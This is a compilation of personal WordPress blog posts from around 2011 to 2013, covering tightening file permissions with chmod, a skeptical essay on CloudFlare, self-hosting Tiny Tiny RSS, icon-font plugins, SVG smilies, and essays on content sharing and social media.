This means the owner (ipstenu) has rw permissions (which are read-write). The group (ipstenu) has r (read-only), and the world (i.e. everyone else) also has r (read-only). This is an image, no one needs to execute it (which would be an x).(The “1” before ipstenu is for the number of files. “203789” is the size of the file. “Oct 5 19:30” is the day/time I uploaded the file, and “stevejobs.png” is the name of the file.) These rwx letters correspond to numbers. r = 4, w = 2 and x = 1. So when you see ‘rwx’ that equals 7.(There are also options o (other), u (user), g (group) and a (all)… and s … but I’ll spare you that right now. Suffice to say, you can use what you’re comfortable with. I use the numbers most of the time.)
 So why is 777 dangerous? 777 means ‘everyone has full access to this file.’ Yeah, that sounds dangerous! I don’t want that! The only person who should have full access is you! But DSO doesn’t like to upload files without 777 permissions. In part, this is WordPress’s fault, but really it’s an unholy combination of things. [Alex King](http://www.viper007bond.com/2009/05/07/wordpress-how-to-force-direct-filewrites-for-upgrades/) explains why it happens, and as of WordPress 2.8, you can fix this yourself.
[Just override the default file permissions](http://codex.wordpress.org/Editing_wp-config.php#Override_of_default_file_permissions). It’s genius! I tossed this into my `wp-config.php` file and I was good to go!
```
define('FS_CHMOD_DIR', (0755 & ~ umask()));
define('FS_CHMOD_FILE', (0644 & ~ umask()));
```
No, the 0 in front is not a typo. 0755 is an octal value. Octal values must be prefixed with a 0 and are not delineated with single quotes (‘). It’s just how it works.
There is a catch, though. My uploads folder *had* been set to 777, which meant `/wp-content/uploads/2011/10` (this month’s folder) was also 777, which totally invalidated my test. That’s easy enough to go back and fix permissions on your folders. I did it this way because I have some caching plugins that I do *not* want to screw around with:
```
find /home/foobar/public_html/wp-content/uploads -type d -perm 777 -print -exec chmod 755 {} \;
find /home/foobar/public_html/wp-content/themes -type d -perm 777 -print -exec chmod 755 {} \;
find /home/foobar/public_html/wp-content/plugins -type d -perm 777 -print -exec chmod 755 {} \;
```
That code says “Find all folders (-type d) and if they have permissions of 777, change them to 755.” There are more variations on that.(I got the code from [NixCraft – Linux / UNIX: Change File Permissions Recursively ( conditional )](http://www.cyberciti.biz/faq/howto-apply-conditional-recursive-chmod-file-permissions/)) If you want to change files, it’s `-type f` and you’d want something like this:
```
find /home/foobar/public_html/wp-content/uploads -type f -perm 777 -print -exec chmod 644 {} \;
```
That will turn all your images back into permissions 644, presuming they were 777 to begin with. Mine were 755.
The last step *I* had was chowning the folder for uploads and 2011 to `nobody:nobody`. That was so on month end, I would be able to create folders (like `uploads/2011/11` today) without any issues. The other folders, as they already existed, didn’t need the permissions changed. Honestly, I’m not sure if I needed to set the uploads folder to that. I didn’t set `blogs.dir` for my MultiSite install, and just did the `files` folder within, since it had created other folders correctly. It’s a hassle, unraveling years of ‘Did it wrong!’ and when you add in that we’re using different tool sets to upload files versus upgrade and all that … well. It works now.
I also kept the `upgrade` folder with permissions 777, since that just did *not* want to work any other way. It flat out refused to upgrade any plugins. I’ve yet to try upgrading WordPress itself with this setup, but I suppose I’ll find out soon.
And that’s it! It’s not 100% painless, and it’s much easier if you start out ‘doin’ it right’, but even after you’ve been doing it wrong for over 5 years, you can fix it.
**Categories:** How To
**Tags:** command line, security, servers, wordpress
---
### [I Don't Understand CloudFlare](https://halfelf.org/2013/i-dont-understand-cloudflare/)
**Published:** March 20, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Protecting your website can come in many flavors. I've always learned towards doing as much on the server (vs in the 'app'), but the new trend of external services that speed your site up and protect you confuse me.
**Content:**
If you know the answer to all this, I’d love to hear it, because I can’t figure this out. What’s the real point of CloudFlare?
Fairly recently I was reading Tony Perez’s post about [CloudFlare vs Incapsula vs ModSecurity](http://tonyonsecurity.com/2013/03/09/protect-your-website-vulnerabilities-with-a-waf-new-compairson-report-cloudflare-vs-incapsula-vs-modsecurity/). As regular readers may know, I am frenemies with [Mod\_Security](http://www.modsecurity.org/). I often want to kill it with fire, but I never disable it entirely because it protects my site from hackers. By using Mod\_Security I limit my chances of having [Bobby Tables kill my site](http://xkcd.com/327/).
Using Mod\_Security gives you some protection from *simple* SQL injections, but also XSS attacks. You can integrate it with things like Project Honeypot. As they put it:
> ModSecurity™ is an open source, free web application firewall (WAF) Apache module. With over 70% of all attacks now carried out over the web application level, organizations need all the help they can get in making their systems secure. WAFs are deployed to establish an external security layer that increases security, detects and prevents attacks before they reach web applications. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with little or no changes to existing infrastructure.
And you know what? It really does all that.
So what’s [CloudFlare](http://www.cloudflare.com/)? It’s an intermediary between your site and the world which caches your site, compresses data, and gives people the fastest version of your site. In the event your site is down, they’ll serve cached versions. They even give you a pretty picture.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/03/illustration-small.png)
The first time I heard about this, I arched my eyebrows in surprise and confusion. I’m going to make my site faster by putting *more* layers between the reader and my content? That means instead of just relying on my server and host to be fast, serve compressed pages, keep the lights on, keep a speedy connection to the Intertubes, and do all the things that needs to happen for the magic pipe between my website and you guys, I’m doing all that *and* trusting someone new to help me do it better. Interesting, Captain. How are they doing this?
[](https://halfelf.org/wp-content/uploads/sites/2//2013/03/squire3.png) CloudFlare has a few tricks to do this: CDN (content loads faster if it’s stored local to the people visiting the site), content optimization (minimizes and compresses page content), security (protecting you from DDOS and SQL injection), and analytics.
Except when I look at that list I think that I already use mod\_pagespeed to minimize and compress my content, mod\_security to protect me (also [Config Server Firewall](http://configserver.com/cp/csf.html) for the DDoS stuff), and analytics is done by my server or Google. For me, that means the only thing they’re offering that I don’t have is a CDN. I read up on [CloudFlare’s CDN](http://www.cloudflare.com/features-cdn), and they tout not having the weight of 15 years legacy crap. That’s a tricky edge to dance on, since they also don’t have the experience of those 15 years, or the network. In fact, looking at their [network map](http://www.cloudflare.com/network-map), they have nothing in South America. Guess what the number two location is for people visting my sites? Brazil.
And this, my children, is why you study your stats to understand who is visiting your site, where from, why, and with what browsers. Right away I can see that CloudFlare, while interesting, doesn’t seem to have any benefit for me. If I decide that I want a CDN, it’ll probably cost me around $30 more a month, minimum, for my sites and what they have on them today. Oh but wait, you say, CloudFlare is free?
Yeaaaah. I don’t trust free *services* very much. A free app, once I download it and put it on my server, I keep. A free service is hosted on someone else’s server, at their whimsy, and is supported as they see fit. Yes, this means I don’t trust Facebook or Twitter. A free service is interesting only in that it lets me try it before I buy it, and for that, I approve of how CloudFlare does it. But the problem is today I went to a website and saw this:
[](https://halfelf.org/wp-content/uploads/sites/2//2013/03/cloudflareddos.png)
What did I do? *I didn’t visit this website*. They can brag about the whole 30ms response time all they want, but if I went to a website and hit a barrier like that, I stop because it’s getting in the way of my surfing. That was my initial quandary about CloudFlare after all. How can it provide all these awesome things without getting in the way? And it can’t for everyone. At first I thought it was because I was going through bit.ly and it worried I was a spammer (okay, fair enough), so I tried manually, and it was the same problem. I just went to the page normally now, and it’s been well more than “5 seconds” and the site still hasn’t loaded.
I fundamentally dislike anything that causes my users to do ‘more’ to get to my content. I think that it’s more harmful than a slow site, and it’s more harmful than letting these bad eggs visit my site. The right place to block a naughty person is when they’re doing something naughty. If my IP is a range of DDoS attackers, that’s one thing. You shouldn’t be detecting as the page loads, delaying me almost 30 seconds, and then loading the page. This delay is supposedly for my protection (me the site runner, not the visitor). Okay then, what are they protecting me from?
> Part of CloudFlare’s service is something called a Web Application Firewall (WAF), which is fancy-speak for saying their computer looks at what people are coming to your site to do, what data they’re sending, and tries to figure out if they’re nice visitors (which it should let through) or naughty hackers (which it should block).(From WP Shine [Cloudflare: Early Reports Question Effectiveness as Website Security Tool](http://wpshine.com/cloudflare-early-reports-question-effectiveness-as-website-security-tool/))
WAF came up before, with Mod\_security. And at this moment, I go to a picture. Here’s what Tony parsed from the data:
[](http://tonyonsecurity.com/2013/03/09/protect-your-website-vulnerabilities-with-a-waf-new-compairson-report-cloudflare-vs-incapsula-vs-modsecurity/)
He asked on Google+ what we took from that article, and my reply was “That the months I spent mastering mod\_security was totally worth it.” If you don’t trust Tony’s numbers, you can [read the full report on slideshare](http://www.slideshare.net/zeroscience/cloudflare-vs-incapsula-vs-modsecurity) for yourself. Tony has the same feelings about Captcha as I do, by the way, though less strongly. I despise it more than I hate hotlinkers, and I *hate* hotlinking. Captchas are the worst barrier between content and consumer that was ever invented. They don’t work, they’re not accessibility friendly, and they are rarely implemented well. Hotlinking may be theft, but Captchas are shouting “No soup for you!”
Which brings me to my point.
What is CloudFlare doing? In plain english, can someone explain to me how it would benefit me? Ignoring the CDN aspect, the only WAF part I can see benefiting me is that CloudFlare (and Incapsula for that matter) essentially crowdsource the list of people who are ‘bad’ and shouldn’t access my site. Which is cool, and that I certainly like. It’s sort of like a Project Honeypot for baddies (and by the way, that would be a nice feature). Having the world bring in the list of bad people, as well as their patterns, and sharing that back out is a great way to keep everyone up to date quickly and seamlessly.
I really just can’t see why I’d ever want to use CloudFlare. It would certainly be a cheap and easy way to put some possible gain on my site, but in the long run I feel that managing these things myself (or hiring someone to do it) would be a better business solution. It saves me from the dread blackbox spam killer, which means I always know what’s going on. Now I know not everyone is capable of handling all this themselves, but from what I’ve seen, most webhosts already have mod\_security running. So lets drop the WAF argument from the table, and we come down to the best thing CloudFlare’s doing is acting as a CDN and compressing content. That’s not good enough for me. At that point, you may as well use [Google’s PageSpeed Service](https://developers.google.com/speed/pagespeed/service)
I’m sure there are great reasons for using CloudFlare, but I just can’t see it.
*Quick ETA… Talking to a coworker, it occurred to us that I may just not be their audience. I’m too big already and I took care of most of what they do. I can look at this and think “If I just have a small site and I want to speed it up on a shared server where I have no root nothings” then it looks way more reasonable. But I’m not.*
**Categories:** How It Works
**Tags:** essay, function, performance, security, servers
---
### [Tiny Tiny RSS](https://halfelf.org/2012/tiny-tiny-rss/)
**Published:** June 25, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you've just had enough, you learn something new. Today it's running my own web-RSS reader.
**Content:**
Credit: [Poorly Drawn Lines](http://poorlydrawnlines.com/comic/tiny-hippo-and-the-tiny-train/) The majority of my ‘I am going to learn this if it kills me!’ lessons come from when I’m just dead frustrated with a product. Today it’s Google Reader.
I like RSS feeds. They work well for me, I like having them sitting there, waiting for me to pay attention. It keeps news out of my email (which is for communication) and makes sure even if I miss a tweet, I see the article later. The world comes to me. This is also a part of my evil ploy to keep myself at Inbox Zero (current status – Inbox has 7 emails at home, 11 at work). I only leave emails in my queue when I know I need to hang on to them for a good reason, and even then I’m likely to save them off line (I use IMAP) to keep anything long term.
For the last few years I’ve been using Google Reader because I check my RSS feeds at work (Windows XP, still) and home (Mac), and it lets me sync between the two. Google Reader remembers what I’ve read, and I don’t have to re-read things. But recently Google screwed me over, hard, with their inability to update feeds in anything resembling realtime. Specifically, all my WordPress.org feeds were days, if not *weeks* behind, and I couldn’t force them to update! What was going on?
At first I thought it had to do with WP’s recent(ish) server upgrade to nginx, as certainly the problem started around that time, so I asked Otto and Nacin if there was a thing going on. Otto replied that there was, but it was Google. See, Google uses PubSubHubbub, which allows for updates in near-real-time. Sounds cool. If it worked. Now before you say it’s clearly me having the problem, it’s not. I asked around, and everyone who monitors WordPress.org related feeds with Google Reader has agreed: the feeds ain’t in real time anymore.
I switched to another feed reader and, lo and behold, it worked just fine. Well that sucks. Now how can I handle all this? I could use a dedicated feed reader, but then I’m stuck only reading on one computer, which I certainly could do, but it’s 2012, and I like portability. What sort of options am I left with? After two weeks of experimenting and testing with various web-based readers, I decided that Google really was the best of them, and I was depressed. But I wasn’t defeated. I knew, I just knew, that some clever soul felt my pain and wanted to help me out. And I was right.
Enter [Tiny Tiny RSS](http://tt-rss.org/redmine/). Tiny Tiny RSS is an open source web-based news feed (RSS/Atom) reader and aggregator, designed to allow you to read news from any location, while feeling as close to a real desktop application as possible.

On the grand scheme of things, it’s easier to set up than [RSS2Email](https://halfelf.org/2011/make-an-rss-powered-email-list/) (which I use on another account on this server), but due to me being on CentOS, which doesn’t really daemonize well for users, I had to cron job my feed updates at first. I set it at 15 minutes, after I ran it manually a few times to catch up. There are a few ‘quirks’ that aren’t as nice as Google reader. Like I have to manually refresh the back to get the read/unread counts to work right, and even with `define('ENABLE_UPDATE_DAEMON', false);` set, it keeps telling me that the update daemon is off. Turns out I also had to delete the `/lock/update_daemon.lock` file.
Meanwhile, I dug further into this and found the pretty easy setup for ‘screen’:
```
$ cd /public_html/tt-rss
$ screen -S updaterss
$ php ./update.php -daemon
```
And detach from the screen with CTRL+A+D shortcut. Now someone mentioned that this will ‘break’ if the server is rebooted, so I left my cron job running just in case. I’m happy with cron, if it comes down to brass knuckles.
I’m happy with this, and it’s only been a couple hours. The actually install process was easy, but this isn’t something I’d suggest if you’re the sort who wants a lot of help and hand holding for an app. I’m monitoring my CPU/memory consumption right now, but it seems pretty minimal, so I’m really pleased I have an alternative I like. My wish list is insanely small:
1. A ‘click to refresh all feeds’ button, instead of relying on cron/command line(I could probably code this myself, just haven’t yet)
2. Auto-refresh of the page resets the read/unread counts correctly
And the ‘fix’ for now for those is cron/cli and refresh the page. So I’ll live, quite happily.
Tiny Tiny RSS lives at but they’re also on [GitHub](https://github.com/gothfox/Tiny-Tiny-RSS).
**Categories:** How It Works
**Tags:** open source, rss, software, website
---
### [Genericons: Plugin'd](https://halfelf.org/2013/genericons-plugind/)
**Published:** March 7, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I need to be buffed, okay? I need buffs. Buff me!
**Content:**
 The thing about all this is that I really like Font Awesome. The licensing drives me to drink. The WordPress Repository has an extra rule, saying everything there has to be GPLV2 or later, for reasons that aren’t the point. What is the point is that the moment [Genericons](http://genericons.com/) came out, I knew that it should be a plugin, because a totally GPL-compatible version of a font like this was what people wanted.
Since I also knew Rachel Baker had made a killer [Font Awesome Plugin](https://github.com/rachelbaker/Font-Awesome-WordPress-Plugin) (and yes, that’s the one I use), I quickly stripmined its code and made [Genericon’d](http://wordpress.org/extend/plugins/genericond/).(At this point it’s pretty much a re-write, but I always credit where I started!)
[](https://halfelf.org/wp-content/uploads/sites/2//2013/03/screenshot-02.jpg)The name is not Genericon**s** because it’s not official, and they may want that name later. With that in mind, I thought “Well I totally Genericon’d them all!” because sometimes I talk like Zaboo from “The Guild.” I think of him as the Patron Avatar of this Plugin (though he’d probably ask why there wasn’t a Genericon for his staff, or Codex’s).
So what are these ‘font icons’ things anyway and how do they work?
Normally if you want to insert a Twitter image, let’s say, you would have to go find the image, download it, edit it to the right size, upload, embed. On the other hand, with a font you can do this: `` That will look like this: Isn’t that cool? All you have to do is include the font and the CSS in your site and you’re good to go. All those files are smaller than most images, load faster, and best of all, they scale better.
\[genericon icon=twitter size=4x\] Same font, bigger size. Isn’t that cool? Since they’re pure CSS, you can do whatever you want, from changing colors and size to inserting into menus, like I did on another site. When you add in their relatively small file size and scalability, you gain and added level of awesome because your little icons always look amazing on retina displays too! After all, they’re just fonts.
The alternative to something like this would be to use sprites, which is actually what WordPress uses today on your dashboard, and they look like this:
[](https://halfelf.org/wp-content/uploads/sites/2//2013/03/menu.png)
If you go look at your WordPress dashboard, you’ll notice that hovering over these images makes them change between the dull grey and the cool colorized version. In order to do that, you have two images. Not so with Genericons! `.genericon-twitter:hover {background-color:pink;color:purple;}` would do the same thing (in pretty garish colors…). Just as an example of how it works, here’s a link with a Genericon in it: [\[genericon icon=twitter\] @ipstenu](http://twitter.com/ipstenu). It’s actually kind of nice how it automatically adapts to the CSS I have in place for hovering over links.
Basically the reasons to use icon fonts instead of images are that you can style them with CSS, they look good on all displays at any resolution, they easily adapt to fit your site when you change themes and colors, there’s only one HTTP call for the icons, and they’re open source.
Here are some features in Genericon’d (as of version 1.2) that I think are kinda awesome:
**On the fly color changing.**
You can make a Twitter Blue icon: `[genericon icon=twitter color=#4099FF]` makes \[genericon icon=twitter color=#4099FF\]
**On the fly resize.**
You can make a Facebook icon bigger: `[genericon icon=facebook size=4x]` makes \[genericon icon=facebook size=4x\]
And it all pretty much works the way I want it to. I did tweak the CSS a little to use em instead of px, which isn’t perfect. Genericons works best when your font is a derivative of 16, and for some reason, people still default to 12px. Protip: Ask someone with imperfect vision to look at your site. If they squint, your font is too small.
Genericons, and any font-icon add-on, aren’t perfect for everyone or every site, but they’re here if you need ’em.
**Categories:** How It Is
**Tags:** coding, genericons, open source, plugins, wordpress
---
### [IE 8 and SVG Smilies](https://halfelf.org/2013/ie-8-and-svg-smilies/)
**Published:** February 24, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Filtering Smilies on a Sunday afternoon.
**Content:**
I don’t like the default smilies in WP. There, I said it. They’re old and busted, so I use the `smilies_src` to replace them with nicer ones. Recently it came to my attention how old and busted *my* cute PNGs looked on my iPad and any retina capable computer, so I fiddled around and decided SVG graphics were the way to go. They scale well, and they work on all modern browsers, yay!
Oh, wait, IE 8 is not a modern browser and it’s pretty common out there… In fact my old job still uses it on a lot of PCs. And so does at least one user on this site (actually 5, and one more uses IE 6, for crying out loud!) so I came up with this:
```
// Move Smilies
add_filter('smilies_src','my_smilies_src', 1, 10);
function my_smilies_src($img_src, $img, $siteurl) {
$img = rtrim($img, "gif"); // Remove GIF
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 8' ) || strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 7' ) ) {
$type='png';
}
else {
$type='svg';
}
return 'http://domain.com/images/smilies/'.$img.$type.'';
}
```
That said, I wish we had more modern smilies available for WP. Finding a set that look okay (like the ones I have here) that are also retina capable are not easy. I could use user agents to go the other way, checking if the visitor was on a ‘new’ iPad or iPhone and show them retina that way, but to the best of my knowledge, there’s no way (yet) to do it so that a retina MacBook also gets the nicer view. With that in mind, I went just with SVG, which scale naturally and meet all of my needs.
By the way, thank Otto for the smilies filter. You can use it for normal filtering too:
```
add_filter('smilies_src','ipstenu_smilies_src', 1, 10);
function ipstenu_smilies_src($img_src, $img, $siteurl){
$img = rtrim($img, "gif");
return $siteurl.'/images/smilies/'.$img.'png';
}
```
That’s what I use here.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Backwards Settings API](https://halfelf.org/2013/backwards-settings-api/)
**Published:** January 29, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Rewinding an existing plugin to do things correctly involved a lot of me hitting my head on my desk out of frustration until everything was illuminated.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/backwards.gif)The biggest problem with documentation is that if you don’t think the same way the doc was written, the examples will frustrate you to the point where you want to cry. If you’re not techy at all, directions to move WordPress to a subfolder will piss you off. If you’re a basic webmaster, who can edit posts and maybe FTP, they’re scary but doable. It’s all a measure of leveling up and seeing things in a way you understand.
Recently I was banging around with the [Settings API](http://codex.wordpress.org/Settings_API) in WordPress to fix some debug errors in a plugin. It took me about 5 hours to figure out what it was I was doing, and how to fix it. Actual fixing? About half an hour, including the time it took to make fresh coffee.
What was my problem? I was looking at code from a different angle. If you start ‘right’ it’s really easy to follow tutorials, but when you start from an already functioning plugin and want to correct it, it’s a nightmare. Reverse engineering things isn’t easy. You’re used to looking at things in one way, and changing that is a headache. What I had was working, up until you turned on debug, which is why I got away with it for so long, and why I hated having to change it.
But I did. I had a plugin admin page that let you enter two text strings, an access key and a secret key, which the rest of the code used to do it’s magic. Because of that, I couldn’t just be lazy and use a basic `register_setting()` call like this:
```
register_setting( 'myplugin-retain-settings', 'myplugin-retain');
```
That’s easy, you put it in, you call it with `settings_fields('myplugin-retain-settings');`, and you go to the races. But I have two strings, and if you call the settings fields twice, you’ll find all sorts of fun errors.
To explain, let me show you what I did wrong, and what right is.
## Doing It Wrong
```
**Categories:** How To
**Tags:** coding, plugins, wordpress
---
### [Let Your Content Be Copied](https://halfelf.org/2013/let-your-content-be-copied/)
**Published:** February 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Giving it away gives it back to you.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/Merlin2525_Do_Not_Copy_Business_Stamp_1.png)Recently I undertook a personal project to convert a website from Flash to WordPress. I didn’t do this for any reason other than I wanted to do something nice for someone who has, in a very strange way, been the reason I am who I am within WordPress. She’s an artist, which means her website was very media heavy, and back in the early 2000s, the way to do this was Flash.
I hated it.
Oh I loved how it looked, but really that was it. It made her content slow, and it made it impossible for me to say “Hey, check out the new content!” without also saying “To get there, click on Sputnik, then on the fourth star, then the fifth box…” It’s just really bad UI, and no matter how pretty it is, the barrier between reader and content was nigh insurmountable. Also it doesn’t work on iOS these days.
My father, similarly, had his old site as all PDFs, so when I redid his site for his birthday (which he loves, and yes, WordPress), I copied his PDFs to text, with a lot of LATex in there for the math, and he complained. “People will steal my content.” I pointed out they could do that anyway. In fact, I had, in essence, done what they would, downloading the PDF and copying out the text and images. He grumbled, but as soon as his peers remarked that they could finally read his work, he calmed down.
I understand the fear of theft. You want to show you work to draw people in and then sell yourself. My father is a consultant and speaker, and his fear is that people will take his work and plagiarize him, or worse, make it seem like he endorsed them. If you think libel is a rough road on the Internet, try the endorsement shenanigans. Some people will do anything to make themselves seem more appealing.
At the same time, I agree with Cory Doctorow that giving your books away isn’t *bad*. The reason my ebooks are [pay what you will](https://halfelf.org/my-ebooks/) is that I want people to find me, and find value in me. You can argue I wouldn’t have my job if I didn’t do that. My ebook profits paid for a brake repair and help keep my webhosting fees under control, but I sure don’t make a living off two ebooks. But again, the point is not that the website, directly, makes me money, but that it allows me to make money.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/Merlin2525_Copy_Business_Stamp_1.png)It seems counterintuitive. How can I make money giving things away? A website is like advertising. You don’t make money directly on an ad. You pay around $3.5 million dollars to have an ad in the Super Bowl not because you think someone will drop what they’re doing, run out and buy Doritos, but because you are trying to make an impact. The best Super Bowl ads, the best ads in general, are the ones we watch and want to share with our friends. We talk about them, and when we’re at the store and spot Doritos, we have a positive association with them, and are inclined to buy them. Sneaky ain’t it?
The website is the same thing. You read a lot about WordPress here, so at a certain point you start to associate ‘Ipstenu’ and ‘Half-Elf’ with WordPress. You see me on the forums, posting and helping people, and you get positive reinforcement of that association. Then you see I have an ebook about Multisite and you buy it. So why are the ebooks also pay what you want? Because people come to these things the other way, too. They find the ebooks, wonder about my qualifications and merits, and later come back and pay. And yes, I’ve gotten money that way too. After a while, when you build up your cred, you don’t have to mess with that and you can just sell, but at the time of my ebooks, I wasn’t someone who could say “My job is WordPress” so I couldn’t afford to just sell. I probably could today.
By why keep giving things away? WordPress (the code) is free, and my content is technically free here. You’re not paying me to read this, after all. It goes back to positive associations. If you get a good association with something, you keep using it. Newspapers, back in the day, were the only way to get news. You paid for two things: the information and the reliability. The radio came and changed the game, letting you listen to news, but the papers stuck around because unlike TV and radio news, you didn’t have to wait for your segment to come up, you could flip the pages and read sports.
The value of straight news didn’t really change until the Internet, where we started offering you the information at no immediate cost. Most of the time, the Internet sites can’t compete with reliability, but people became increasingly annoyed with having to pay for content. Buying the paper, sure, but I’m already paying for the Internet (access to it). Shouldn’t that be funneling back like TV fees do? Alas, they don’t, which means news media goes through hoops and ladders to try to lock their content down so you can’t copy it, or you have to pay to get at it. In return people like me find ways around paying to read content.
It’s not that we don’t think we should pay for things. I do pay for books, music, movies, media, news, etc, and I encourage people to do so. It’s not the money at all, it’s the barrier between me and the content. There’s obvious value in reading the news, but the value is diminished by proliferation and frankly by their own quality. It’s true that if you build it they will come, but without letting people share what they found, then you won’t get more readers.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/copy_shortcut_key_mousepad-144972005175842953.jpeg)That’s why the walls between your reader and your content need to go. That’s why you need to allow a direct link to your content, so I can say “Hey, I read this awesome article, go here!” You want me to tweet, text, link, post, tumble, and share your content so *you* get more readers, and more to the point, you get *happy* readers. The happier your readers, the more they feel like they should share. They’re getting a psychological kick-back from sharing, and we’re back to the positive association reinforcement we want.
I’m certainly not going to say that giving away all your content is going to make you money, but I will say that giving away some of your content will do so. There’s no magic formula to say where the breakpoint is for your product, but there’s no way to do that for anything. You have to determine where you’re going to make your money. My father makes money with his work and lectures. By posting smaller excerpts of his essays and papers online for free, people can find value in his work and hire him. An artist can post lower resolution/quality versions of their art for free, and let the reason find merit in the product. A writer can put disparate thoughts that don’t really combine themselves well into one work up on their blog, and let people see the value in their books. And by letting people copy your content, by letting them quote in part on in whole, you make them happy.
Do I worry about plagiarism and content theft? Funny thing, no. By having my SEO ranking high, based on Google and all being able to read my content, if someone searches for phrases found in my articles, they’ll find my site before the sploggers and thieves. By making it easier for people to link to me, I increase my SEO. The same goes for my quality of content. I make it high, people will link to me, and we get a happy circle of reciprocity. I never fear content theft, and because of that, I let my content be copied.
It’s served me well.
**Categories:** How It Is
**Tags:** essay, freedom, social media, website
---
### [Anti-Social Competition](https://halfelf.org/2013/anti-social/)
**Published:** January 24, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's room for more than one social media app. Stop competing by removing/restricting, and start being better.
**Content:**
[](http://shoze.blogspot.com/2011/06/brorwser-wars.html)A lot has been said already about how stupid Twitter is to bite the hand that tweeted them into fame. People are all on about how Facebook’s draconian actions will hurt them. Now Instagram is in on the restriction game. There are business models for actions like this, and we’ve seen them time and again. People think the only way to keep their user base (i.e. their revenue) is to stop the users from integrating with the other tools.
They’re wrong.
Look, none of us use a product because they limit us, or because they force us to. While the monetary loss and software hassle of switching to a PC would hurt me, the reason I use a Mac is not because they make it impossible to switch, but because *they make me not want to*. It’s a part of a psychological gambit, making it easy to do what I want, and if I really wanted, easy to walk away. But what neither Apple nor Microsoft does is attempt to lock me in to their way forever.
Now some of you might argue that’s not true, but look at the US phone system. AT&T and Verizon and all the other traditional companies lock us into their systems. We can’t leave without paying exhorbinant fees. With Apple and Microsoft, the setup fee was my choice, and I don’t pay ongoing prices to use their service, though I can in some cases.
When I see things like Instagram and Twitter having a slap-fight, to the point that Twitter decided to *remove* Instagram’s embedding in Twitter, I wanted to kick them both. Twitter is going to hurt itself more and more by biting the hands that feed them (which we already knew about when they decided people making their own Twitter tools was bad). Instagram is following the trend, and that doesn’t help at all. What they’re doing is generating anti-social behavior, which is to say that they’re making it hard to be social.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/twitter-beef.jpeg)These are social media outlets, and it’s almost to the point where they’re saying ‘You can drive our car, but it only uses gasoline from these vendors.’ We would cry foul and sic the lawyers on them for that. In fact, we did. Remember when Microsoft made it near impossible to run other browsers by tightly integrating IE with their OS? Look at how well that worked out. Sidebar: I don’t think Apple limiting the default browser on iOS devices is the same thing. Unlike Microsoft, they own both hardware *and* software, so it’s more like saying ‘You can’t put a Fiat engine in your Mini Coop.’ I do think they should allow it, but it’s not the same as the gasoline analogy. Hair splitting, I know. Don’t think I like that I can’t set Chrome as my default browser on my iPad, it really annoys me.
One of the driving points I love about open source is that we all work together to make things better. With a few notable exceptions, we really try hard to be cooperative, because we know that one group, alone, can’t do everything. This is why I’m often an evangelist for people to contribute, I know that we need to work together in all things. My chosen flag is, right now, Open Source.
For some reason this is lost on people when they start looking to monetize their products. And it’s not just products like Twitter that do this stupid thing. Right away, everyone’s an enemy. Recently, Carrie Dils ran into this when her presentation at a WordPress Meetup was rejected. Carrie correctly pointed out, [she’s not your competition](http://www.carriedils.com/wordpress-community-is-not-your-competition/2415). (I’m very confident this will be addressed in the meetup world, and I know this is not the kind of behavior anyone encourages or endorsees.) Except in a way, she totally is my competition. Just not the way that guy seemed to think of it.
That bizarre situation points out the absurdity in all this. The world is not a zero-sum game. You’ll never have all the money, all the products, all the clients, or all the people. This doesn’t mean you shouldn’t aspire to have as many as you can manage, but it means you don’t need to attack the other guy. Having a rival, having competition, is good. Every other forum moderator is better than I am at something. Even if it’s just quilting, or as weird as Microsoft servers, the crux of the issue is that competition can be a good thing, and the way to ‘win’ is not to smear the other guy or block them from sharing your client base, but to offer what the other guys doesn’t have.
Look back at Twitter and Instagram. Twitter is for sharing 140 characters of words. Instagram is for sharing retro photos. So what does Instagram have to gain by blocking people from being able to show photos in Twitter? Well there is a practical point here, and it’s one I tout: Own your own data. After all, I don’t allow hotlinking of my images on other sites specifically because I want people to come here for content (and it’s bandwidth theft, which I hate), but also I don’t like when people steal my content without asking and present it as their own. A large part of owning my own data is also owning where it lives. So while I use Instagram and Twitter (and Facebook), anything of merit that isn’t just casual chatter ends up on one of my own sites.
Unlike Instagram, I will happily embed small version of my content (excerpts) on any social media site I care to use. Facebook, Twitter, and Google Plus all allow me to put a link, or a link and a phrase, that shows a teaser of my blog content. This drives traffic back to me, which increases my presence, and nets me what I want. Instagram could have done this, and permitted embedding like that on a small scale (click to see bigger, click to leave comment) on Twitter and anywhere else, which would probably help them.(Wouldn’t it be cool if we could code our own sites to let Twitter embed some media from them too? Sadly, they won’t let us because some people would use it for Goatse.cx (DO NOT VISIT)) Instead, they put up a wall to make people click a link and go through. This is why WordPress lets you embed media on your site from other sources. They get it.
I wish those other guys did. I just want to play in the park with everyone.
**Categories:** How It Is
**Tags:** essay, freedom, social media
---
### [Multisite Login Loop](https://halfelf.org/2012/multisite-login-loop/)
**Published:** December 2, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Unravelling the login loop when you break WordPress Multisite.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/fotolia_13535470_XS.jpeg) Congratulations, you’ve decided to go Multisite and added in all your lines to your config file. You’re raring to go, and the last step is to log out and back in.
But you can’t.
You get to the login screen, enter your credentials, and the page just refreshes. What’s on earth is going on?
This is actually a pretty rare thing, and I was only able to reproduce it when I moved my site on the server. The fix is actually pretty easy, and there are three things to do.
**1) Edit your `wp-config.php`.**
Visit and get new salts/hashes. This *should* prompt your users to re-login and hopefully generate new cookies.
**2) Dump your cache.**
Sometimes, however, browsers are idiots and you have to flush the local cache. You shouldn’t need to dump caching plugins, since that doesn’t impact logins.
**3) Delete your cookies.**
